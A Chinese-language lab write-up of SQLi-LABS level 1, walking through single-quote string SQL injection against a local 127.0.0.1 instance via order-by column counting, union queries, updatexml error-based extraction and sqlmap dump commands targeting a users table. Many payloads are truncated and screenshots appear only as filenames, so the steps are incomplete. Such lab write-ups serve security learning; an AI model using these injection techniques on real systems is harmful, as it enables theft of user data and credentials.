1. 程式人生 > 資料庫 >SQLi-LABS 第一關 SQL注入 總結

SQLi-LABS 第一關 SQL注入 總結

SQLi-LABS 第一關 SQL注入 總結

關卡簡介

關卡提示:GET-Error based- Single quotes-String

注入位置:GET

注入型別:子符串型(單引號閉合漏洞)

注入方法

前期測試

url 輸入

url 輸入

image-20210110224515869

頁面無變化,排除數字型注入

url 輸入

image-20210110224801587

有報錯回顯,可能是字串型

url 輸入

image-20210110224648293

image-20210110224724149

兩次頁面不一樣,確定是 字串型

union聯合查詢注入

由於有顯示資料庫內容的欄位區域,還有有報錯回顯示, 因此可用此方法

  1. 爆列

    http://127.0.0.1/Less-1/?id=1%27%20order%20by%201--+
    http://127.0.0.1/Less-1/?id=1%27%20order%20by%202--+
    http://127.0.0.1/Less-1/?id=1%27%20order%20by%203--+
    

    試過均正常顯示id=1時的頁面,當 報錯,說明 當前資料表有3列

    image-20210110230142187

    爆出位置

  2. 構造注入 payload )--+

    爆出資料庫版本

    image-20210110231443070

    構造注入 payload )--+

    爆出資料庫資訊 (第一條)

    image-20210111151526882

    構造注入 payload )--+

    爆出資料庫資訊 (所有)

    image-20210111152154149

    構造注入 payload )--+

    爆出當前庫的所有表

    image-20210111153007037

    構造注入 payload )--+

    爆出使用者表users的所有列名

    image-20210111153252356

    構造注入 payload )--+

    爆出使用者表users的所有資訊

    image-20210111153921311

報錯注入

由於有報錯回顯示, 因此可用此方法

這裡使用 updatexml 函式報錯方式

  1. 爆出資料庫版本 構造注入 payload ),0x7e),1)--+

    image-20210111162212586

  2. 爆出當前資料庫名 構造注入 payload ),0x7e),1)--+

    image-20210111162320592

  3. 爆出當前資料庫的所有表 構造注入 payload ),0x7e),1)--+

    image-20210111164758764

  4. 爆出當users表的所有列 構造注入 payload ),0x7e),1)--+

    image-20210111165605165

  5. 爆出當users表的所有資訊 構造注入 payload ),0x7e),1)--+

    image-20210111165416456

    updatexml 函式報錯最多顯示32字元,可以用 limit 取資料 ,這裡不再演示

利用sqlmap注入

傻瓜式注入

  1. 爆出所有庫 終端執行 sqlmap -u --dbs

    image-20210111154508305

  2. 爆出當前資料庫所有表 終端執行 sqlmap -u -D security --tables

    image-20210111160620374

  3. 爆出users表中所有列 終端執行 sqlmap -u -D security -T users --columns

  4. 爆出users表所有資訊 終端執行 sqlmap -u -D security -T users -C username,password --dump

    image-20210111161146601